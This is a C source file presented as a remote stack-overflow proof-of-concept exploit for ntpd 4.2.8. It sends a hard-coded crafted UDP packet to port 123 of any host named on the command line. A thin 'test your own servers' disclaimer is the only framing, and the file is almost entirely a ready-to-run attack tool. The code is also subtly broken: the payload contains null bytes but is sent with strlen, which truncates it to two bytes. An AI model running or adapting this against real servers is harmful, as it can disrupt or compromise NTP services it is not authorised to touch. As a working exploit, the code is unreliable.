/*
Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any misuse of this code
N_A[at]tutanota.com
*/
#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <errno.h> #include <netinet/in.h> #include <string.h> #include <netdb.h>
#define PORT 123 /* change if needed */
/* & nonce exploit packet , Todor Donev */ char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";
void err(char *msg);
int main(int argc, char *argv[])
{ int sockfd,n;
struct sockaddr_in vuln; struct hostent *server;
char *hostname;
if(argc != 2) { printf("==================================================\n"); printf("\tntpd 4.2.8 remote stack overflow exploit\n"); printf("\t\tBy N_A\n"); printf("\tUSAGE: %s [HOST]\n", argv[0]); printf("\t%s 127.0.0.1\n", argv[0]); printf("==================================================\n"); return EXIT_FAILURE; }
hostname = argv[1]; server = gethostbyname(hostname);
if( server == NULL ) { err("gethostbyname"); }
if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 ) { err("socket()"); }
printf("\n[*]UDP socket() successful\n");
bzero((char *)&vuln,sizeof(vuln)); vuln.sin_family = AF_INET; bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length); vuln.sin_port = htons(PORT);
if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 ) { err("sendto()"); }
printf("\n\n=============================\n"); printf("\nPacket sent to server!\n"); printf("=============================\n\n");
return EXIT_SUCCESS; }
void err(char *msg) { perror(msg); exit(0); }
|